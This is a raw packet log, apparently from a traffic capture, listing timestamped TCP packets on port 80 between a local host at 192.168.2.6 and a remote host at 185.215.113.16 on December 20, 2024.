Dec 20, 2024 17:17:46.569047928 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.569143057 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.569159031 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.569216967 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.569782972 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.569844961 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.570492983 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.570501089 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.570648909 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.571147919 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.571213961 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.571388006 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.571757078 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.571773052 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.572352886 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.572388887 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.573081970 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.573088884 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.573158979 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.573194027 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.573745012 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.573879004 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.573908091 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.573982000 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.574405909 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.574414015 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.574632883 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.575284004 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.575293064 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.575530052 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.575701952 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.575830936 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.576392889 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.576512098 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.576569080 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.577028036 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.577265024 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.577271938 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.577794075 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.578346968 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.578375101 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.578394890 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.578399897 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.578408957 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.578461885 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.579054117 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.579771996 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.579786062 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.579799891 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.579828024 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.579874992 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.580380917 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.580801010 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.580883026 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.581080914 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.581094980 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.581151009 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.581756115 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.581954002 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.582382917 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.582413912 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.582988977 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.583220959 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.583235979 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.583358049 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.583791971 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.583806038 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.583919048 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.584388018 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.584593058 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.584665060 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.585021973 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.585036039 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.585655928 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.585689068 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.586365938 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.586380959 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.586487055 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.586594105 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.586870909 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.587021112 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.587192059 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.587265968 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.587754965 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.588279009 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.588385105 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.588412046 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.588449955 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.588553905 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.589014053 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.589333057 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.589413881 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.589637041 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.590080023 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.590152979 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.590315104 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.590992928 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.591031075 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.591070890 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.591085911 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.591169119 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.591658115 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.591969013 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.592196941 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.592283010 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.592422009 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.592533112 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.592993021 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.593205929 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.593493938 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.593621016 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.594206095 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.594330072 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.594487906 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.594640970 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.594856024 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.594959974 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.594979048 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.595613956 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.595653057 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.596293926 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.596313000 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.596535921 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.596574068 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.596910000 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.597058058 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.597132921 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.597562075 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.598469973 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.598490000 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.598524094 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.598526001 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.598552942 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.598958969 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.598982096 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.599009037 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.599579096 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.599632025 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.599807024 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.600538015 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.600663900 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.601059914 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.601248980 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.601295948 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.601460934 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.601938963 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.602216005 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.602479935 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.602540970 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.602590084 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.602610111 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.602686882 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.603013992 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.603034019 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.603060961 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.603674889 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.603868008 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.604218006 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.604295015 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.604393005 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.604473114 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.604897022 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.605088949 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.605283022 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.605572939 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.605592966 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.605814934 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.606230021 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.606419086 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.606509924 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:46.606858015 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.607264996 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.607552052 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.607570887 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:46.607629061 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.053159952 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.105071068 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.274771929 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.394660950 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.394793034 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.394929886 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.395787954 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.395796061 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.395814896 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.395838022 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.396302938 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.396308899 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.396317005 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.396343946 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.396369934 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.397073984 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.397702932 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.397716999 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.397759914 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.397867918 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.397912979 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.398736954 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.398744106 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.398756027 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.398787975 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.399185896 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.399322033 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.399642944 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.399965048 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.400185108 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.400262117 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.400412083 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.400468111 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.400841951 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.401135921 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.401180983 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.401437998 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.401679039 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.402147055 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.402220011 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.402616024 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.402789116 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.402859926 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.402928114 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.403126955 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.403491020 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.403969049 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.404007912 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.404309034 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.404474020 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.404673100 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.405005932 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.405013084 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.405049086 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.405482054 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.405667067 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.405714035 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.406083107 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.406244040 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.406332970 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.406872034 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.407030106 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.407064915 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.407418013 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.407572031 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.407620907 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.408166885 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.408332109 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.408380032 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.408787012 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.409107924 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.409327030 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.409573078 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.409584999 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.409636021 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.409821033 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.409981012 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.410024881 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.410446882 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.410582066 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.410645008 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.411220074 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.411226988 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.411273003 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.411849976 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.412282944 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.412328959 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.412439108 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.412446022 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.412489891 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.413311005 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.413477898 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.413667917 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.413855076 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.414036989 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.414259911 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.414446115 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.414453983 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.414493084 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.415162086 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.415168047 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.415216923 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.415730000 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.415962934 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.416019917 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.416349888 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.416402102 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.416479111 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.417062998 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.417287111 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.417465925 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.419250965 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.419891119 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.419939041 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.419949055 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.419955015 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.419967890 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.419975042 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.419987917 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.419991970 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.419995070 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.420025110 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.420043945 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.420419931 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.421036959 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.421082020 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.421185970 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.421325922 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.421377897 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.421838999 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.422138929 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.422240973 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.422483921 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.422729969 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.422763109 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.422972918 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.423149109 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.423181057 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.423764944 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.423926115 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.424000978 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.424524069 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.425008059 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.425055981 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.425179005 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.425184965 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.425224066 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.425808907 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.425823927 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.426100969 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.426435947 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.426611900 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.426836967 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.427067995 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.427382946 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.427431107 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.427704096 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.427716970 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.427814007 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.428360939 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.428616047 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.428668022 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.429157972 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.429163933 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.429204941 CET	49809	80	192.168.2.6	185.215.113.16
